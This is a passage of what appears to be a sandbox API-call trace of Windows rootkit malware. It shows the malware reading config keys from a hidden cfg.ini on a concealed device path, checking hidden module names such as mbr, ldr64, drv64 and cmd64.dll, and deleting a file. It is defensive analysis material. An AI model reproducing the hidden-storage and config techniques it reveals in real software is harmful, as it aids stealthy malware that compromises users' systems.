[0129.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] KeLeaveCriticalRegion () [0129.774] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.774] KeEnterCriticalRegion () [0129.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.774] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.774] IdePortDispatch () returned 0x103 [0129.774] KeWaitForMutexObject () returned 0x0 [0129.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] KeLeaveCriticalRegion () [0129.774] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.774] KeEnterCriticalRegion () [0129.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca9000 [0129.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.775] IdePortDispatch () returned 0x103 [0129.775] KeWaitForMutexObject () returned 0x0 [0129.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.775] IdePortDispatch () returned 0x103 [0129.775] KeWaitForMutexObject () returned 0x0 [0129.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.775] KeLeaveCriticalRegion () [0129.775] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.776] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.776] KeEnterCriticalRegion () [0129.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] KeLeaveCriticalRegion () [0129.776] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.776] KeEnterCriticalRegion () [0129.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.776] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] KeLeaveCriticalRegion () [0129.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.776] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.776] KeEnterCriticalRegion () [0129.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] ExFreePoolWithTag (P=0xfffffa8003c065e0, Tag=0x0) [0129.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] KeLeaveCriticalRegion () [0129.776] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.776] ReleaseMutex (hMutex=0xf0) returned 1 [0129.776] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.776] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.776] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.776] KeEnterCriticalRegion () [0129.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.776] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.776] IdePortDispatch () returned 0x103 [0129.777] KeWaitForMutexObject () returned 0x0 [0129.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.777] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.777] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.777] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.777] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.777] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c043e0 [0129.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.777] KeLeaveCriticalRegion () [0129.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.777] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.777] KeEnterCriticalRegion () [0129.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.777] KeLeaveCriticalRegion () [0129.777] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.777] KeEnterCriticalRegion () [0129.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.777] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.777] IdePortDispatch () returned 0x103 [0129.777] KeWaitForMutexObject () returned 0x0 [0129.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.778] KeLeaveCriticalRegion () [0129.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.778] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.778] KeEnterCriticalRegion () [0129.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caa000 [0129.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.778] IdePortDispatch () returned 0x103 [0129.778] KeWaitForMutexObject () returned 0x0 [0129.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.778] IdePortDispatch () returned 0x103 [0129.778] KeWaitForMutexObject () returned 0x0 [0129.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.778] KeLeaveCriticalRegion () [0129.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.779] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.779] KeEnterCriticalRegion () [0129.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] KeLeaveCriticalRegion () [0129.779] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.779] KeEnterCriticalRegion () [0129.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.779] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] KeLeaveCriticalRegion () [0129.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.779] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.779] KeEnterCriticalRegion () [0129.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] ExFreePoolWithTag (P=0xfffffa8003c043e0, Tag=0x0) [0129.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.779] KeLeaveCriticalRegion () [0129.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.779] ReleaseMutex (hMutex=0xf0) returned 1 [0129.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.779] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.780] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.780] KeEnterCriticalRegion () [0129.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.780] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.780] IdePortDispatch () returned 0x103 [0129.780] KeWaitForMutexObject () returned 0x0 [0129.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.780] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.780] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.780] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.780] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.780] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.780] KeLeaveCriticalRegion () [0129.780] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.780] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.780] KeEnterCriticalRegion () [0129.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.780] KeLeaveCriticalRegion () [0129.780] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.780] KeEnterCriticalRegion () [0129.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.780] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.780] IdePortDispatch () returned 0x103 [0129.781] KeWaitForMutexObject () returned 0x0 [0129.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.781] KeLeaveCriticalRegion () [0129.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.781] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.781] KeEnterCriticalRegion () [0129.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.781] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cab000 [0129.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.781] IdePortDispatch () returned 0x103 [0129.781] KeWaitForMutexObject () returned 0x0 [0129.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.781] IdePortDispatch () returned 0x103 [0129.781] KeWaitForMutexObject () returned 0x0 [0129.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.782] KeLeaveCriticalRegion () [0129.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.782] KeEnterCriticalRegion () [0129.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.782] KeLeaveCriticalRegion () [0129.782] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.782] KeEnterCriticalRegion () [0129.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.782] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.782] KeLeaveCriticalRegion () [0129.782] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.782] KeEnterCriticalRegion () [0129.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.783] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.783] KeLeaveCriticalRegion () [0129.783] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.783] ReleaseMutex (hMutex=0xf0) returned 1 [0129.783] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.783] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.783] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.783] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.783] KeEnterCriticalRegion () [0129.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.783] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.783] IdePortDispatch () returned 0x103 [0129.783] KeWaitForMutexObject () returned 0x0 [0129.783] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.783] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.783] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.783] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.783] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.783] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.783] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.783] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.783] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.783] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.784] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.784] KeLeaveCriticalRegion () [0129.784] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.784] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.784] KeEnterCriticalRegion () [0129.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.784] IdePortDispatch () returned 0x103 [0129.784] KeWaitForMutexObject () returned 0x0 [0129.785] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.785] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.785] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.785] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.785] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.785] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.785] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.785] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.785] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.785] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.785] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.785] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.785] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.785] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.785] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned 